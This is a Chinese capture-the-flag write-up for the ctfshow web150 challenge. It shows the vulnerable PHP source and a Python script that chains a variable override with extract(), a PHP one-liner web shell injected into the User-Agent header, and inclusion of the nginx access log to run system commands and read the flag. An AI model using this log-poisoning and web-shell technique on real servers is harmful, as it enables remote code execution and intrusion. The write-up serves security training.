web150笔记(⽇志包含,UA写⼀句话。 QUERY_STRING 和 extract 使isvip为1(web127))
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
这里我用的日志包含绕过,应该也是非预期解,和前面写过的日志包含差不多,这里要想包含需要$isvip变量为true或者1,这里有QUERY_STRING和extract函数,所以我们可以直接通过get传参来定义(忘记这个知识点的往上看web127),然后再User-Agent里写上一句话利用,这里写了脚本进行利用
⽇志包含,UA写⼀句话。 QUERY_STRING 和 extract 使isvip为1(web127)
#-- coding:UTF-8 -- # Author:dota_st # Date:2021/3/7 11:50 # blog: www.wlhhlc.top import requests url = "http://5166dd5a-495e-4cd2-bad1-6a13b1cba45a.chall.ctf.show:8080/" + "?isVIP=1" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = { 'ctf': '/var/log/nginx/access.log', 'dotast':'system("cat flag.php");' } result = requests.post(url=url, headers=headers, data=data) print(result.text)

浙公网安备 33010602011771号